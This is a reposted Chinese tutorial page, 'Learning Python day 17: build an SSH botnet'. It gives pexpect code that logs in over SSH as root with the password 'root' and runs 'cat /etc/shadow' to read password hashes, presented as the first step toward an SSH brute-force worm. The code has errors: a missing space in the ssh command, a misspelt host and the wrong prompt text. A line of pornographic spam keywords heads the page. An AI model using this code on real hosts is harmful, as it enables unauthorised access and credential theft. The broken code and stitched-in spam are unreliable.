国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

學(xué)習(xí)Python第十七天:用python構(gòu)建一個(gè)SSH僵尸網(wǎng)絡(luò)

這篇具有很好參考價(jià)值的文章主要介紹了學(xué)習(xí)Python第十七天:用python構(gòu)建一個(gè)SSH僵尸網(wǎng)絡(luò)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

在上一節(jié)我們已經(jīng)創(chuàng)建了一個(gè)用來搜尋目標(biāo)的端口掃描程序,選擇可以開始利用這些服務(wù)中的漏洞了。Morris蠕蟲有三種攻擊方式,其中之一就是用常見的用戶名和密碼嘗試登錄RSH服務(wù),RSH是1988年問世的,他為系統(tǒng)管理員提供了一種很棒的遠(yuǎn)程連接一臺(tái)機(jī)器,并能在主機(jī)運(yùn)行一系列終端命令對(duì)它進(jìn)行管理的方法。

后來人們?cè)赗SH中增加一個(gè)公鑰加密算法,以保護(hù)其經(jīng)過網(wǎng)絡(luò)傳遞的數(shù)據(jù),這就是SSH協(xié)議,最終SSH協(xié)議替代了RSH。不過,對(duì)于防范用常見用戶名和密碼嘗試暴力破解登錄的攻擊方法,這并不能起到多大作用。SSH蠕蟲已經(jīng)被證明是非常成功的和常見的攻擊方式。

用Pexpect與SSH交互

現(xiàn)在,讓我們來實(shí)現(xiàn)我們自己的能暴力破解待定目標(biāo)用戶名/密碼的SSH蠕蟲。因?yàn)镾SH客戶端需要用戶與之進(jìn)行交互,我們的腳本必須在發(fā)送進(jìn)一步的輸入命令之前等待并理解屏幕輸出的意義。請(qǐng)考慮以下情形:要連接我們架在IP地址127.0.0.1上SSH的機(jī)器,應(yīng)用程序首先會(huì)要求我們確認(rèn)RSA密鑰指紋,這時(shí)我們必須回答“是”,然后才能繼續(xù),接下來,在給我們一個(gè)命令提示符之前,應(yīng)用程序要求我們輸入密碼,最后,我們還要執(zhí)行uname -v命令來確定目標(biāo)機(jī)器上系統(tǒng)內(nèi)核的版本。

為了完成上述控制臺(tái)交互過程,我們需要使用一個(gè)第三方python模塊——Pexpect。Pexpect能夠?qū)崿F(xiàn)與程序交互,等待預(yù)期的屏幕輸出,并據(jù)此作出不同的響應(yīng),這使得它稱為暴力破解SSH用戶口令程序的首選工具。

檢測(cè)connect()函數(shù),該函數(shù)接收的參數(shù)包括一個(gè)用戶名,主機(jī)名和密碼,返回的是以此進(jìn)行SSH連接的結(jié)果,然后,利用pexpect庫(kù),我們的程序等待一個(gè)可以預(yù)計(jì)到的輸出,可能會(huì)出現(xiàn)三種可能的結(jié)果:超時(shí),表示主機(jī)已使用一個(gè)新的公鑰的消息和要求輸入密碼的提示。如果出現(xiàn)超時(shí),那么session.expect()返回為零,用下面的if語(yǔ)句會(huì)識(shí)別出這一情況,打印一個(gè)錯(cuò)誤消息后返回,如果child.expect()方法捕獲了ssh_newkey消息,他會(huì)返回一個(gè)1,這會(huì)使函數(shù)發(fā)送一個(gè)yes消息,以接收新的密鑰,之后,函數(shù)等待密碼提示,然后發(fā)送SSH密碼。

import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
    child.sendline(cmd)
    #發(fā)送你想要執(zhí)行的命令
    child.expect(prompt)
    #匹配命令符
    print(child.before)
    #輸出執(zhí)行的結(jié)果
def connect(user,host,password):
    ssh_newkey = 'Are you want to continue connecting?'
    connStr = 'ssh'+user+'@'+host
    #構(gòu)建ssh命令,完整的為ssh 用戶名@主機(jī)地址
    child = pexpect.spawn(connStr)
    #將上面的ssh命令放入spawn函數(shù)中創(chuàng)建一個(gè)新的子進(jìn)程
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
    #這句話是用來等待子進(jìn)程的輸出,如果超時(shí)了沒有輸出任何東西,就會(huì)匹配到pexpect.TIMEOUT,其值為0
    #如果輸出了ssh_newkey,那一般就是ssh連接時(shí)的一種提示,一般用來確認(rèn)遠(yuǎn)程連接的公鑰,其值通常為1
    #如果輸出了[P|p]assword:,表示子進(jìn)程正在請(qǐng)求輸入密碼,其值一般為2
    if ret ==1:
        #如果匹配到了ssh_newkey,也就是匹配到了新密鑰
        child.sendline('yes')
        #那么向子進(jìn)程發(fā)送yes,表示接受這個(gè)新密鑰
        ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
        #接著,就是等待超時(shí),或者輸入密碼
    if ret ==0:
        #如果為0,那就輸出錯(cuò)誤,超時(shí)了,并且返回
        print('[-] error connecting')
        return 
    child.sendline(password)
    #如果已經(jīng)收到輸入密碼的提示,則將密碼發(fā)送到子進(jìn)程
    child.expect(prompt)
    #等待子進(jìn)程與特定的操作符進(jìn)行匹配,如果匹配成功則開始進(jìn)行交互
    #prompt = ['#','>>>','>','\$'],#一般是root管理員,<<<一般是python
    return child

一旦通過驗(yàn)證,我們就可以使用一個(gè)單獨(dú)的comand()函數(shù)在SSH會(huì)話中發(fā)送命令。command()函數(shù)需要接受的參數(shù)是一個(gè)SSH會(huì)話和命令字符串,然后,它向會(huì)話發(fā)送命令字符串,并等待命令提示符再次出現(xiàn),在獲得命令提示符后,該函數(shù)把從SSH會(huì)話那里得到的結(jié)果打印出來。把這些打包起來就得到一個(gè)完整的可以模擬人的交互行為的連接和控制SSH會(huì)話的腳本。

import pexpect
prompt = ['#','>>>','>','\$']
def sen_command(child,cmd):
    child.sendline(cmd)
    #發(fā)送你想要執(zhí)行的命令
    child.expect(prompt)
    #匹配命令符
    print(child.before)
    #輸出執(zhí)行的結(jié)果
def connect(user,host,password):
    ssh_newkey = 'Are you want to continue connecting?'
    connStr = 'ssh'+user+'@'+host
    #構(gòu)建ssh命令,完整的為ssh 用戶名@主機(jī)地址
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword:'])
    if ret ==1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,'[P|p]assword:'])
    if ret ==0:
        print('[-] error connecting')
        return 
    child.sendline(password)
    child.expect(prompt)
    return child

def main():
    host = 'loclahost'
    user = 'root'
    password = 'root'
    child = connect(user,host,password)
    sen_command(child,'cat /etc/shadow | grep root')
if __name__=='__main__':
    main()

今天的學(xué)習(xí)分享就到這里,謝謝大家的觀看。文章來源地址http://www.zghlxwxcb.cn/news/detail-851338.html

到了這里,關(guān)于學(xué)習(xí)Python第十七天:用python構(gòu)建一個(gè)SSH僵尸網(wǎng)絡(luò)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 算法第十七天-構(gòu)造有效字符串的最少插入數(shù)

    算法第十七天-構(gòu)造有效字符串的最少插入數(shù)

    考慮abc的個(gè)數(shù) 假設(shè)答案有n個(gè)\\\"abc\\\"組成,那么需要插入的字符個(gè)數(shù)為 3 ? n ? l e n ( s ) 3*n - len(s) 3 ? n ? l e n ( s ) 。 對(duì)于相鄰的兩個(gè)字符x和y(x在y左側(cè)): 如果 x y xy x y ,那么x和y可以在同一個(gè)\\\"abc\\\"內(nèi),否則一定不在; 如果 x ≥ y xge y x ≥ y ,那么x和y一定不可以在同一個(gè)

    2024年01月17日
    瀏覽(21)
  • 【算法第十七天8.1】530.二叉搜索樹的最小絕對(duì)差 501.二叉搜索樹中的眾數(shù) 236. 二叉樹的最近公共祖先

    鏈接 力扣530-二叉搜索樹的最小絕對(duì)差 思路 鏈接 力扣501-二叉搜索樹中的眾數(shù) 思路 鏈接 力扣236.二叉樹的最近公共祖先 思路

    2024年02月14日
    瀏覽(27)
  • 第八十七天學(xué)習(xí)記錄:Linux基礎(chǔ):基礎(chǔ)指令Ⅱ

    第八十七天學(xué)習(xí)記錄:Linux基礎(chǔ):基礎(chǔ)指令Ⅱ

    可以通過touch命令創(chuàng)建文件 語(yǔ)法:touch Linux路徑 1、touch命令無(wú)選項(xiàng),參數(shù)必填,表示要?jiǎng)?chuàng)建的文件路徑,相對(duì)、絕對(duì)、特殊路徑符均可以使用 首先用Vim編輯器在剛剛新建的tanktest.txt中編輯些內(nèi)容。 語(yǔ)法:cat Linux路徑 cat同樣沒有選項(xiàng),只有必填的參數(shù),參數(shù)表示:被查看的文

    2024年02月11日
    瀏覽(28)
  • 【Rust】Rust學(xué)習(xí) 第十二章一個(gè) I/O 項(xiàng)目:構(gòu)建一個(gè)命令行程序

    【Rust】Rust學(xué)習(xí) 第十二章一個(gè) I/O 項(xiàng)目:構(gòu)建一個(gè)命令行程序

    本章既是一個(gè)目前所學(xué)的很多技能的概括,也是一個(gè)更多標(biāo)準(zhǔn)庫(kù)功能的探索。我們將構(gòu)建一個(gè)與文件和命令行輸入/輸出交互的命令行工具來練習(xí)現(xiàn)在一些你已經(jīng)掌握的 Rust 技能。 Rust 的運(yùn)行速度、安全性、單二進(jìn)制文件輸出和跨平臺(tái)支持使其成為創(chuàng)建命令行程序的絕佳選擇,

    2024年02月12日
    瀏覽(24)
  • 【送書福利-第十七期】用“價(jià)值”的視角來看安全:《構(gòu)建新型網(wǎng)絡(luò)形態(tài)下的網(wǎng)絡(luò)空間安全體系》

    【送書福利-第十七期】用“價(jià)值”的視角來看安全:《構(gòu)建新型網(wǎng)絡(luò)形態(tài)下的網(wǎng)絡(luò)空間安全體系》

    ?? 作者介紹:我是程序員洲洲,一個(gè)熱愛寫作的非著名程序員。CSDN全棧優(yōu)質(zhì)領(lǐng)域創(chuàng)作者、華為云博客社區(qū)云享專家、阿里云博客社區(qū)專家博主、前后端開發(fā)、人工智能研究生。公粽號(hào):程序員洲洲。 ?? 本文專欄:本文收錄于洲洲的《送書福利》系列專欄,該專欄福利多多

    2024年02月10日
    瀏覽(23)
  • Python武器庫(kù)開發(fā)-武器庫(kù)篇之Git創(chuàng)建遠(yuǎn)程倉(cāng)庫(kù)和建立SSH key 免密登陸(三十七)

    Python武器庫(kù)開發(fā)-武器庫(kù)篇之Git創(chuàng)建遠(yuǎn)程倉(cāng)庫(kù)和建立SSH key 免密登陸(三十七)

    Git是一種版本控制系統(tǒng),用于跟蹤文件的更改和協(xié)調(diào)多人開發(fā)項(xiàng)目。它可以記錄文件的歷史更改,協(xié)助多人協(xié)作開發(fā),并提供分支管理功能。Git是一個(gè)分布式系統(tǒng),意味著每個(gè)人在自己的本地計(jì)算機(jī)上都有一份完整的代碼倉(cāng)庫(kù),并且可以獨(dú)立地進(jìn)行工作。它具有速度快、靈活

    2024年02月02日
    瀏覽(25)
  • Python學(xué)習(xí)筆記(十七)——Pandas庫(kù)

    Python學(xué)習(xí)筆記(十七)——Pandas庫(kù)

    數(shù)組只能存儲(chǔ)一種類型的數(shù)據(jù), 同時(shí), 數(shù)組提供了許多方便統(tǒng)計(jì)計(jì)算的功能 (如平均值 mean 、標(biāo)準(zhǔn)差 std 等) pandas 是基于 numpy 數(shù)組構(gòu)的, 但 二者最大的不同是 pandas 是專門為處 理表格和混雜數(shù)據(jù)設(shè)計(jì)的,比較契合統(tǒng) 計(jì)分析中的表結(jié)構(gòu),而 numpy 更適合處 理統(tǒng)一的數(shù)值數(shù)組

    2024年02月04日
    瀏覽(25)
  • 算法訓(xùn)練第五十七天

    516. 最長(zhǎng)回文子序列 - 力扣(LeetCode) 代碼: 647. 回文子串 - 力扣(LeetCode)

    2024年02月09日
    瀏覽(23)
  • 網(wǎng)絡(luò)安全入門學(xué)習(xí)第十七課——PHP數(shù)組

    網(wǎng)絡(luò)安全入門學(xué)習(xí)第十七課——PHP數(shù)組

    索引數(shù)組是指 鍵名為整數(shù) 的數(shù)組。 默認(rèn) 情況下,索引數(shù)組的 鍵名是從0開始 ,并依次遞增。它主要適用于利用位置(0、1、2……)來標(biāo)識(shí)數(shù)組元素的情況。另外,索引數(shù)組的鍵名也可以自己指定。 關(guān)聯(lián)數(shù)組是指 鍵名為字符串 的數(shù)組。通常情況下,關(guān)聯(lián)數(shù)組元素的“鍵”和

    2024年02月09日
    瀏覽(20)
  • 網(wǎng)絡(luò)安全入門學(xué)習(xí)第十七課——PHP表單交互

    表單的主要功能:就是在網(wǎng)頁(yè)上用于輸入信息的區(qū)域,收集用戶輸入的信息,并將其提交給后端的服務(wù)器進(jìn)行處理,實(shí)現(xiàn)用戶與服務(wù)器的交互。 例如:購(gòu)物結(jié)算、信息搜索等都是通過表單實(shí)現(xiàn)的。 一個(gè)完整的表單是由表單域和表單控件組成的。其中,表單域由form標(biāo)記定義,

    2024年02月12日
    瀏覽(24)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包